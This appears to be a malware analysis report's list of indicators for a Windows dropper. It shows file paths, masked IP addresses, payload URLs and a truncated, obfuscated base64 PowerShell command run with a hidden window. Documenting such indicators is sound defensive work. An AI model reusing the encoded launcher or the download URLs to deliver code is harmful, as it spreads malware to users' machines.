Technical Information
- 'upnphost' "%WINDIR%\SysWOW64\OobeFldr\upnphost.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AG...
- %HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe
- %WINDIR%\syswow64\oobefldr\upnphost.exe
- from %HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe to %WINDIR%\syswow64\oobefldr\upnphost.exe
- '82.#30.1.24':80
- '51.##.124.206':80
- http://lo####gangnam.com/4W/dz/
- http://51.##.124.206/QmYN1KAniie8qiy/1uUJJS1u0RuDwPN/
- DNS ASK lo####gangnam.com
- '%HOMEPATH%\t6a8ckm\rgai_h_\c8_g0pv3.exe'
- '%WINDIR%\syswow64\oobefldr\upnphost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AG...' (with hidden window)